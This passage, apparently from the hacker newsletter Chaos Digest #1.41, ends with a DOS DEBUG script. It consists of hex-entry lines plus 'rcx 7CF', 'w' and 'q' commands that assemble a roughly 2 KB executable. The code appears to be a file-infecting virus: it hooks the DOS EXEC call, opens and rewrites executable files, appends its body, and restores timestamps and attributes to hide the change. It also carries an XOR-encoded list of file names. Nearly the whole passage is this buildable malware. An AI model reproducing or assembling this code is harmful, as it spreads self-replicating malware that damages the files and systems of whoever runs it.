  459. e 0390  00 00 2E 89 16 80 00 2E 8C 1E 82 00 50 53 51 52
  460. e 03A0  56 57 1E 06 FC 8B FA 32 D2 80 7D 01 3A 75 05 8A
  461. e 03B0  15 80 E2 1F B4 36 CD 21 3D FF FF 75 03 E9 0F 03
  462. e 03C0  F7 E3 F7 E1 0B D2 75 05 3D C2 06 72 F0 2E 8B 16
  463. e 03D0  80 00 1E 07 32 C0 B9 41 00 F2 AE 2E 8B 36 80 00
  464. e 03E0  8A 04 0A C0 74 0E 3C 61 72 07 3C 7A 77 03 80 2C
  465. e 03F0  20 46 EB EC 2E 89 36 57 06 B9 0B 00 2B F1 BF 84
  466. e 0400  00 0E 07 B9 0B 00 F3 A6 75 03 E9 C2 02 2E C6 06
  467. e 0410  56 06 00 90 2E 8B 36 57 06 8D 3E 55 06 4F 4E 26
  468. e 0420  8A 05 34 BB 3C 00 74 0D 3A 04 74 F1 2E C6 06 56
  469. e 0430  06 01 90 EB E8 2E 80 3E 56 06 00 74 16 4F 26 80
  470. e 0440  3D FF 74 2B 47 2E 8B 36 57 06 2E C6 06 56 06 00
  471. e 0450  90 EB CA 07 1F 5F 5E 5A 59 5B 58 33 C9 B8 01 43
  472. e 0460  CD 21 B4 41 CD 21 B8 00 4B 9D 2E FF 2E 17 00 B8
  473. e 0470  00 43 CD 21 72 05 2E 89 0E 72 00 72 25 32 C0 2E
  474. e 0480  A2 4E 00 1E 07 8B FA B9 41 00 F2 AE 80 7D FE 4D
  475. e 0490  74 0B 80 7D FE 6D 74 05 2E FE 06 4E 00 B8 00 3D
  476. e 04A0  CD 21 72 7C 2E A3 70 00 8B D8 B8 02 42 B9 FF FF
  477. e 04B0  BA FB FF CD 21 72 EB 05 05 00 2E A3 11 00 B9 05
  478. e 04C0  00 BA 6B 00 8C C8 8E D8 8E C0 B4 3F CD 21 8B FA
  479. e 04D0  BE 05 00 F3 A6 74 22 B0 00 B9 00 00 BA 00 00 B4
  480. e 04E0  42 CD 21 8D 16 DD 05 B9 14 00 B4 3F CD 21 81 3E
  481. e 04F0  EF 05 89 19 75 0A E9 91 01 B4 3E CD 21 E9 CF 01
  482. e 0500  B8 24 35 CD 21 89 1E 1B 00 8C 06 1D 00 BA 07 02
  483. e 0510  B8 24 25 CD 21 C5 16 80 00 33 C9 B8 01 43 CD 21
  484. e 0520  72 3B 2E 8B 1E 70 00 B4 3E CD 21 2E C7 06 70 00
  485. e 0530  FF FF B8 02 3D CD 21 72 24 2E A3 70 00 8C C8 8E
  486. e 0540  D8 8E C0 8B 1E 70 00 B8 00 57 CD 21 89 16 74 00
  487. e 0550  89 0E 76 00 B8 00 42 33 C9 8B D1 CD 21 72 3E 80
  488. e 0560  3E 4E 00 00 74 04 EB 5B 90 90 BB 00 10 B4 48 CD
  489. e 0570  21 73 0B B4 3E 8B 1E 70 00 CD 21 E9 51 01 FF 06
  490. e 0580  8F 00 8E C0 33 F6 8B FE B9 C2 06 F3 A4 8B D7 8B
  491. e 0590  0E 11 00 8B 1E 70 00 06 1F B4 3F CD 21 72 1F 03
  492. e 05A0  F9 33 C9 8B D1 B8 00 42 CD 21 BE 05 00 B9 05 00
  493. e 05B0  1E 0E 1F F3 A4 1F 8B CF 33 D2 B4 40 CD 21 72 0D
  494. e 05C0  E9 C7 00 B9 1C 00 BA 4F 00 B4 3F CD 21 72 4A C7
  495. e 05D0  06 61 00 89 19 A1 5D 00 A3 45 00 A1 5F 00 A3 43
  496. e 05E0  00 A1 63 00 A3 47 00 A1 65 00 A3 49 00 A1 53 00
  497. e 05F0  83 3E 51 00 00 74 01 48 F7 26 78 00 03 06 51 00
  498. e 0600  83 D2 00 05 0F 00 83 D2 00 25 F0 FF A3 7C 00 89
  499. e 0610  16 7E 00 05 C7 06 83 D2 00 72 3A F7 36 78 00 0B
  500. e 0620  D2 74 01 40 A3 53 00 89 16 51 00 A1 7C 00 8B 16
  501. e 0630  7E 00 F7 36 7A 00 2B 06 57 00 A3 65 00 C7 06 63
  502. e 0640  00 C6 00 A3 5D 00 C7 06 5F 00 C0 06 33 C9 8B D1
  503. e 0650  B8 00 42 CD 21 72 0A B9 1C 00 BA 4F 00 B4 40 CD
  504. e 0660  21 72 11 3B C1 75 23 8B 16 7C 00 8B 0E 7E 00 B8
  505. e 0670  00 42 CD 21 72 14 33 D2 B9 C2 06 B4 40 CD 21 B9
  506. e 0680  05 00 8D 16 05 00 B4 40 CD 21 2E 83 3E 8F 00 00
  507. e 0690  74 04 B4 49 CD 21 2E 83 3E 70 00 FF 74 31 2E 8B
  508. e 06A0  1E 70 00 2E 8B 16 74 00 2E 8B 0E 76 00 B8 01 57
  509. e 06B0  CD 21 B4 3E CD 21 0E 1F C5 16 80 00 2E 8B 0E 72
  510. e 06C0  00 B8 01 43 CD 21 8D 16 1B 00 B8 24 25 CD 21 07
  511. e 06D0  1F 5F 5E 5A 59 5B 58 9D 2E FF 2E 17 00 CD 20 BA
  512. e 06E0  00 11 01 ED 05 80 01 23 0B FF FF 95 22 00 0A D5
  513. e 06F0  44 00 00 00 00 00 00 00 00 00 00 FF BB F9 FA E8
  514. e 0700  F2 F8 FA 95 FE E3 FE BB F8 EE E9 FE 95 FE E3 FE
  515. e 0710  BB F7 F4 EF EE E8 95 F8 F4 F6 BB F8 EC F2 95 FE
  516. e 0720  E3 FE BB FE EF F9 FA E8 F2 F8 95 FE E3 FE BB F9
  517. e 0730  FA E8 F2 F8 FA 95 F8 F4 F6 BB 8A 89 88 95 FE E3
  518. e 0740  FE BB FF F9 FA E8 FE 95 FE E3 FE BB F9 FA E8 F2
  519. e 0750  F8 95 F8 F4 F6 BB 01 68 61 FC 03 00 00 00 00 00
  520. e 0760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  521. e 0770  00 00 00 00 00 00 00 00 8C 0D 01 00 20 1C C3 28
  522. e 0780  8C 0D 01 00 FE 26 2E 00 8C 0D 04 7F A7 20 6C 15
  523. e 0790  24 25 05 00 20 00 C6 08 60 C1 57 18 08 25 AB 00
  524. e 07A0  44 7F 0A 02 C2 06 57 18 BD 1D 47 01 04 7F 7C 00
  525. e 07B0  C2 06 B6 00 1C 09 AF 1D 3D 1C 07 02 BD 1D 02 02
  526. e 07C0  4D 3A CD 20 C8 F7 E1 EE E7 1A 1A 1A 1A 1A 1A 1A
  527.  
  528. rcx
  529. 7CF
  530. w
  531. q
  532.  
  533. ------------------------------
  534.  
  535. End of Chaos Digest #1.41
  536. ************************************
  537.